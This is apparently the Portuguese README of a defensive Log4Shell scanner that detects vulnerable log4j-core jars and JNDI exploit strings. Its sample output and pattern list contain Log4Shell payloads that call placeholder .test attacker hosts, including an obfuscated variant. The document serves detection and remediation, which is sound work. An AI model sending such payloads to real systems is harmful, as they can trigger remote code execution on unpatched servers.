
Scanner leve que detecta versões vulneráveis do Log4j e indicadores de Log4Shell (CVE-2021-44228) em uma árvore de sistema de arquivos.
Um scanner defensivo, sem dependências, para o Log4Shell — encontra jars vulneráveis do log4j-core e padrões de exploração JNDI em logs e configurações.
Durante minha atuação no CERT-In, trabalhei com identificação de ameaças, contenção, remediação e caça a ameaças — exatamente o fluxo de trabalho que o Log4Shell (CVE-2021-44228) exigiu em escala em dezembro de 2021: encontrar todos os artefatos vulneráveis do log4j-core em uma frota e vasculhar logs em busca de tentativas de exploração ${jndi:...}. Este scanner reconstrói esse fluxo de trabalho defensivo em um único script Python portátil, baseado na biblioteca padrão, que não precisa de nada instalado no host que inspeciona.
.jar / .war / .ear.pom.propertiesMANIFEST.MFzipfile${jndi:ldap:// e ofuscações comuns (${${lower:j}ndi:…}, separação por chaves j}ndi:, ${::-j}).JndiLookup.class, além de orientações para monitoramento de egresso.log4j-core-2.14.1.jar vulnerável fictício (zip real contendo um pom.properties do log4j-core), um 2.17.1.jar corrigido, um jar não relacionado e um log com payloads JNDI.--demo constrói e escaneia a árvore de exemplo de ponta a ponta.os, re, zipfile). Sem dependências.Python 3 (apenas biblioteca padrão: argparse, os, re, zipfile).
git clone https://github.com/arpitgupta369/log4shell-scanner.git
cd log4shell-scanner
python --version # Python 3.8+
# no dependencies to install
Execute a demonstração com a árvore de exemplo inclusa:
python log4shell_scan.py --demo
Saída esperada (resumida):
--- Archives (log4j-core detection) ---
[ok] .../commons-lang3-3.12.0.jar
version: unknown (via no log4j-core detected)
[VULNERABLE] .../log4j-core-2.14.1.jar
version: 2.14.1 (via pom.properties (...))
!! CVE-2021-44228: Critical RCE via JNDI lookup (Log4Shell).
!! CVE-2021-45046: Incomplete fix; RCE/DoS in certain configs.
!! CVE-2021-45105: Uncontrolled recursion -> Denial of Service.
[ok] .../log4j-core-2.17.1.jar
version: 2.17.1 (via pom.properties (...))
--- Exploit-pattern matches (JNDI payloads in text/logs) ---
[MATCH] .../access.log (2 hit(s))
L2: ... "User-Agent: ${jndi:ldap://malicious-example.test:1389/a}"
L3: ... "X-Api: ${${lower:j}ndi:rmi://evil-example.test/b}"
--- Summary ---
Vulnerable archives: 1
Files with JNDI patterns: 1
Escaneie qualquer diretório que você esteja autorizado a avaliar:
python log4shell_scan.py /path/to/deployed/app
O código de saída do processo é 1 quando algo vulnerável ou suspeito é encontrado e 0 quando limpo — conveniente para gates de CI/pipelines.
Reconstrua a árvore de exemplo a qualquer momento:
python log4shell_scan.py --build-samples
log4shell-scanner/
├── log4shell_scan.py # scanner + sample-tree builder + CLI
├── samples/
│ └── app/
│ ├── libs/
│ │ ├── log4j-core-2.14.1.jar # fake VULNERABLE jar (real zip)
│ │ ├── log4j-core-2.17.1.jar # patched jar
│ │ └── commons-lang3-3.12.0.jar # unrelated jar
│ ├── logs/
│ │ └── access.log # contains JNDI payloads
│ └── config.properties # benign (should not match)
├── README.md
├── LICENSE
└── .gitignore
Apenas para uso educacional, defensivo e autorizado. Execute-o somente contra sistemas e artefatos que você tenha permissão para avaliar. O scanner apenas lê e busca padrões — ele nunca executa nem explora nada. Os jars de exemplo inclusos são placeholders fabricados, não artefatos genuínos da Apache, e todos os hostnames de payloads usam nomes .test não roteáveis. Os mapeamentos versão-para-CVE são fornecidos para orientação; verifique os avisos de segurança oficiais da CVE e do Apache Log4j.